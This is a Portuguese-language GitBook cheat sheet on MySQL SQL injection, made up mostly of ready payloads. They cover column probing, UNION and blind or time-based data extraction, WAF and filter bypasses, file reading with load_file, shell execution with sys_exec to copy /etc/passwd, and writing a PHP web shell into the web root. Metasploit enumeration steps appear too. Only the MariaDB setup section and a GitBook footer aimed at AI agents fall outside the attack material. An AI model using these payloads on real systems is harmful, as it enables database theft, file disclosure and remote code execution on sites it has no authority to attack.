> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/injections/sql-injection/mysql.md).

# MySQL

{% hint style="success" %}
**DICA:** Se estiver logado no mysql via terminal e quiser utilizar o terminal do SO com as mesmas autenticações do MySQL, basta utilizar o comando: `\! sh`. Caso o MySQL estiver sendo executado como root, isso acaba se tornando um fácil PrivEsc.
{% endhint %}

### Obtendo Informações Sobre o MySQL

| QUERY                                         | DESCRIÇÃO                                   |
| --------------------------------------------- | ------------------------------------------- |
| `SELECT @@hostname`                           | Nome do host                                |
| `SELECT @@version`                            | Versão do MySQL e do SO                     |
| `SELECT version()`                            | Versão do MySQL e do SO                     |
| `SELECT @@datdir`                             | Local onde o MySQL está instalado           |
| `SELECT system_user()`                        | Usuário do sistema                          |
| `SELECT current_user()`                       | Usuário que está executando os comandos     |
| `SELECT user()`                               | Usuário que está executando os comandos     |
| `SELECT user, password, host FROM mysql.user` | Vendo todos os usuarios do DB               |
| `SELECT database()`                           | Nome do Banco de Dados está sendo utilizado |
| `SHOW VARIABLES`                              | Mostra as variáveis do MySQL                |

### Instalando MariaDB + Criação de Usuário + Acesso Externo

Instale o MariaDB (Altere a versão caso precise)

```bash
sudo apt install mariadb-server-10.5 mariadb-client-10.5
sudo service mariadb start
```

Acesse o Banco de Dados

```bash
mysql -u root -p
```

Altere a senha do usuário root

```bash
ALTER USER 'root'@'localhost' IDENTIFIED BY '<new_password>';
```

Crie um novo database com uma tabela

```bash
CREATE DATABASE <database>;
USE <database>;
CREATE TABLE <table> (<column> VARCHAR(2000));
```

Crie um novo usuário do MariaDB

```bash
CREATE USER '<user>'@'<ip_access_external>' IDENTIFIED BY '<new_password>';
```

Dê permissão ao novo usuário para determinada IP

```bash
GRANT ALL PRIVILEGES ON <database>.* TO '<user>'@'<ip_access_external>'; 
FLUSH PRIVILEGES;
```

Libere acesso na porta 3306 através do firewall

```bash
ufw allow from <ip_access_external> to any port 3306
```

Edita o arquivo de configuração (`/etc/mysql/mariadb.conf.d/50-server.cnf`), e altere a linha `#bind-address = 127.0.0.1` para `bind-address = 0.0.0.0`. Se preferir, utilize o IP da interface de rede ao invés de `0.0.0.0`.

Reinicie o MariaDB e já está pronto para acessar.

```bash
sudo service mariadb restart
```

### Order By

Com o comando `order by`, podemos saber quantas colunas o banco de dados está retornando

```http
http://<site>/photo.php?id=1 order by 1
http://<site>/photo.php?id=1 order by 1,2,3
```

Nos dois exemplos acima, basta ir aumentando o número do `order by` até dar erro. Quando der erro, significa que o valor anterior é a quantidade de colunas retornada na query

###

### Union

Agora que já sabemos a quantidade de colunas utilizando o comando `order by`, vamos fazer um `union`

```http
http://<site>/photo.php?id=1 union select 1,2,3,4,5,6,7,8,9
```

**OBS.:** Também podemos utilizar o `union` para saber a quantidade de colunas baseada em erros, assim como no `order by`.

{% hint style="info" %}
**NOTA:** Isso funciona para o MySQL, a metodologia é diferente para outros bancos de dados, os valores **`1,2,3,...`** devem ser alterados para **`null,null,null...`** para o banco de dados que precisa do mesmo tipo de valor nos 2 lados (SELECT inicial e SELECT do UNION). No Oracle é obrigado a usar o FROM, quando o SELECT for utilizado.
{% endhint %}

### Limit

As vezes podemos usar algum payload de forma que a query nos retorne todos os dados, porém nosso amigo programador limitou esse resultado para pegar apenas 1 registro, usando a linguagem de programação da aplicação ao invés de usar o `limit` do MySQL. Para esse cenário, devemos utilizar a seguinte técnica para nos trazer apenas 1 registro de cada vez, porém percorrendo todas as linhas de uma determinar tabela, enviando uma requisição para cada registro.

```bash
# Retornando apenas o primeiro registro da tabela
' or '1'='1' LIMIT 1,1

# Retornando apenas o segundo registro da tabela
' or '1'='1' LIMIT 2,1

# Retornando apenas o terceiro registro da tabela
' or '1'='1' LIMIT 3,1
```

### SQL Blind

#### Verificando tamanho do nome dos Databases

Altere a quantidade no final do payload abaixo, até encontrar o valor correto.

```bash
LENGTH((SELECT DISTINCT(table_schema) FROM information_schema.tables LIMIT 1,1)) = <length>
```

{% hint style="info" %}
**IMPORTANTE:** Estamos utilizando o **`LIMIT 1,1`**, isso significa que só irá retornar o primeiro database. Depois de achar o valor correto, filtre pelo segundo database, modificando para **`LIMIT 2,1`** e assim sucessivamente. Utilize isso para dar continuidade nas verificações abaixo.
{% endhint %}

#### Buscando nomes de Databases

Podemos realizar um injection para verificar se existe algum database no banco de dados que comece uma determinada letra. Tente a letra "a", caso seja false, tente a letra "b", e assim sucessivamente,a até encontrar uma letra que retorne true.

```bash
SUBSTRING((SELECT DISTINCT(table_schema) FROM information_schema.tables LIMIT 1,1),1,1) = '<primeira_letra>'
```

Depois de encontrar a primeira letra do nome do database, vamos procurar pela segunda letra e assim por diante, até mapearmos o nome do database. Atente-se que os databases também pode conter números, underlines, etc, então não se limite a apenas testes com letras.

```bash
SUBSTRING((SELECT DISTINCT(table_schema) FROM information_schema.tables LIMIT 1,1),1,2) = '<primeira_letra><segunda_letra>'
```

#### Buscando nomes de Tabelas

Aqui estamos utilizando o `database()`, que serve para utilizarmos como base, o database que está conectado no momento, então altere esse valor caso queira procurar tabelas de outro database.

```bash
SUBSTRING((SELECT DISTINCT(table_name) FROM information_schema.tables WHERE table_schema = database() LIMIT 1,1),1,1) = '<primeira_letra>' 
SUBSTRING((SELECT DISTINCT(table_name) FROM information_schema.tables WHERE table_schema = database() LIMIT 1,1),1,2) = '<primeira_letra><segunda_letra>' 
```

#### Buscando nomes de Colunas

```bash
SUBSTRING((SELECT DISTINCT(column_name) FROM information_schema.columns WHERE table_schema = database() and table_name = '<tabela>' LIMIT 1,1),1,1) = '<primeira_letra>'
```

#### Buscando valores de uma Coluna

```bash
SUBSTRING((SELECT DISTINCT(<coluna>) FROM <tabela> LIMIT 1,1),1,1) = '<primeira_letra>'
```

#### Sleep

Utilize o `sleep` e verifique se ele é processado, ou seja, se apresenta delay na resposta. Caso seja, significa que o alvo está vulnerável a SQL Injection Blind. Obviamente o `sleep` não é exclusivo para Blind, porém aqui se torna mais útil, já que no SQL Blind não tem um retorno tão rico de informações.&#x20;

```http
http://<site>/photo.php?id=1 or sleep(5)
```

Caso confirme a existência da vulnerabilidade, podemos fazer queries para validar a existência de dados.

```bash
OR (SELECT sleep(5) FROM information_schema.tables WHERE table_schemalike '<primeira_letra>%') = 1 -- 

OR IF((SELECT MID(<column>,1,1) FROM <tabela> LIMIT 1,1) = '<primeira_letra>', sleep(5), sleep(1)) -- 

OR (LENGTH((SELECT DISTINCT(table_schema) FROM information_schema.tables LIMIT 1,1)) = <length> AND sleep(5))
```

### Bypass em Espaços

Quando o alvo estiver barrando espaços, utilize `/**/` ou `%20` no lugar do espaço, exemplo:

```sql
SELECT/**/*/**/FROM/**/<table>
1'%20or%20'1'='1
```

Também podemos usar uma tabulação (`HT` ou `\t`) para fazer bypass em espaço.

```bash
x'%09or%091%3D1%09--%09
```

{% hint style="info" %}
**DICA:** Para queries simples como **`admin'or'1'='1`**, não precisa de colocar espaços
{% endhint %}

###

### Bypass em Where

O valor de `<table>` abaixo deve ser sempre o mesmo, pois estamos fazendo um `join` com a mesma tabela e jogando a condição em seguida, substituindo assim a utilização do `where`

```sql
select <alias_table1>.<column> from <table> <alias_table1> join <table> on <alias_table1>.<column> = '<where_condition>'
```

###

### Bypass em Vírgulas

Caso o WAF não permita que digite vírgula(s), utilize o seguinte padrão:

```sql
SELECT * FROM (SELECT 'teste1')a JOIN(SELECT 'teste2')b JOIN(SELECT 'teste3')c
```

###

### Bypass em information\_schema

```sql
information_schema/**/./**/tables
`information_schema`.`tables`
`information_schema`/**/./**/`tables`  
```

### Bypass com Encode

```bash
# 1' or '1'='1
\u0031\u0027 \u006f\u0072 \u0027\u0031\u0027\u003d\u0027\u0031

# union select 1,2,3
+/*!u%6eion*/+/*!se%6cect*/+1,2,3
```

### Injection em Comentários

Em casos raros na vida real (porém prováveis em CTF), nossos parâmetros (GET ou POST) podem ficar dentros comentários de SQL (`/* <param> */`). É possível realizar um bypass utilizando o `!`, deixando o código final no seguinte formato:

```sql
SELECT * FROM <tabela> WHERE id = /*! <injection> */
```

###

### Comandos Úteis de MySQL

As vezes os comandos abaixo podem não retornar nada ou retornar erro caso esteja utilizando um `union`, então se possível deixe os comandos abaixo como um subselect, exemplo: `<query_vuln> union all select null, null,(<query_abaixo>) from <table>`

Retornando o nome de todos os databases

```sql
select group_concat(table_schema) from information_schema.tables
```

Retornando o nome de todas as tabelas, separadas por vírgula

```sql
select group_concat(table_name) from information_schema.tables where table_schema=database()
```

Retornando o nome de todas as colunas de uma determinada tabela, separadas por vírgula

```sql
 select group_concat(column_name) from information_schema.columns where table_name='<nome_tabela>'
```

Retornando os valores de uma determinada coluna

```sql
select group_concat(<column>) from <table>
```

Lê o conteúdo de determinado arquivo.

```sql
select load_file('<file>')
```

**OBS.:** Caso não consiga utilizar o comando acima, execute o comando `SHOW VARIABLES LIKE "secure_file_priv"` para verificar se o módulo de segurança está habilitado.

Outra maneira de lermos arquivo, é utilizando o seguinte comando:

```bash
CREATE TABLE <table> (<column> TEXT);
LOAD DATA LOCAL INFILE '<file>' INTO TABLE <table> FIELDS TERMINATED BY '\n';
```

{% hint style="info" %}
Caso não tenha êxito no comando, acesse o mysql com o seguinte comando: **`mysql -u <user> -p --enable-local-infile -h <host>`**
{% endhint %}

Executa um comando no shell e salva em um arquivo

```sql
select sys_exec('cat /etc/passwd > /tmp/passwd && chmod 777 /tmp/passwd')
# ou
select sys_eval('cat /etc/passwd > /tmp/passwd && chmod 777 /tmp/passwd')
```

**OBS.:** Se nenhum dos dois comando acima funcionar, pode usar o `UDF (User Defined Function)`

Grava um Shell PHP no diretório do apache.

```sql
select '<?php echo shell_exec($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
```

{% hint style="success" %}
**OBS.:** Quando for usar o **`INTO OUTFILE`**, utilize sempre o **`/`** para indicar o caminho absoluto do arquivo que irá salvar, mesmo que o alvo seja um Windows. O mesmo vale para **load\_file**.
{% endhint %}

Lista os usuários do banco e se tem permissão de escrita (Y).\
**OBS.:** O `0x3a` serve somente para colocar um : (dois pontos) entre o nome do usuário e a permissão que está atribuída.

```sql
select group_concat(user,0x3a,file_priv) from mysql.user
```

Também podemos automatizar a permissão deescrita utilizando o Metasploit, porém é preciso ter as credenciais de acesso.

```bash
msfconsole -q
use auxiliary/scanner/mysql/mysql_writable_dirs
set RHOSTS <ip>
set DIR_LIST <wordlist.txt>
set VERBOSE true
exploit
```

Também podemos descobrir se determinados arquivos existem no servidor.

```bash
msfconsole -q
use auxiliary/scanner/mysql/mysql_file_enum
set RHOSTS <ip>
set FILE_LIST <wordlist.txt>
exploit
```

Conecta no banco e executa uma query, sem ficar no modo interativo.

```sql
mysql -u <user> -p<senha> -D <database> -e "<query>"
```

{% hint style="warning" %}
**ATENÇÃO:** Atente-se ao **`p`** antes da senha, não coloque espaço entre eles.
{% endhint %}

Criando um novo usuário no MySql (esteja conectado no MySQL antes):

```sql
CREATE USER '<novo_usuario>'@'localhost' IDENTIFIED BY '<nova_senha>';
GRANT ALL PRIVILEGES ON *.* TO '<novo_usuario>'@'localhost' WITH GRANT OPTION;
FLUSH PRIVILEGES;
```

Fazendo Dump e Restore

```sql
# Realiza DUMP
sudo mysqldump -u root -h localhost <database> > <arquivo.sql>
# Restora o Database
sudo mysql -u root -h localhost <database> < <arquivo.sql>
```

###

### GBK

GBK é um conjunto de caracteres chineses simplificados, que podem ser utilizados como aspas simples em um injection, caso o driver do banco de dados do alvo não "fale" o mesmo tipo de caracteres (CHARSET).

Usando a string  `\xBF'` (que pode  ser codificada em URL como `%bf%27`), é possível obter um escape.&#x20;

```bash
admin%bf%27 or 1=1 --
```

{% hint style="info" %}
**NOTA:** Essa descoberta foi feita em 2006, então vai ser muito raro encontrar esse tipo de situações, porém pode ser útil em CTF's.
{% endhint %}

####

#### Sites

```bash
# Falhas de MSSQL Server
http://www.sqlsecurity.com  

# Comando úteis para MSSQL
http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
https://www.w3resource.com/slides/mysql-string-functions.php  

# Conversão de payload com alguns encodes
https://www.branah.com/unicode-converter

# Configurando o MySQL para acessar externamente
https://www.cyberciti.biz/tips/how-do-i-enable-remote-access-to-mysql-database-server.html

# Macetes
https://pt.slideshare.net/AvinashThapa2/waf-bypassing-techniques

# Guia para fazer ByPass em Firewall  
http://securityidiots.com/Web-Pentest/WAF-Bypass/waf-bypass-guide-part-1.html
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/injections/sql-injection/mysql.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
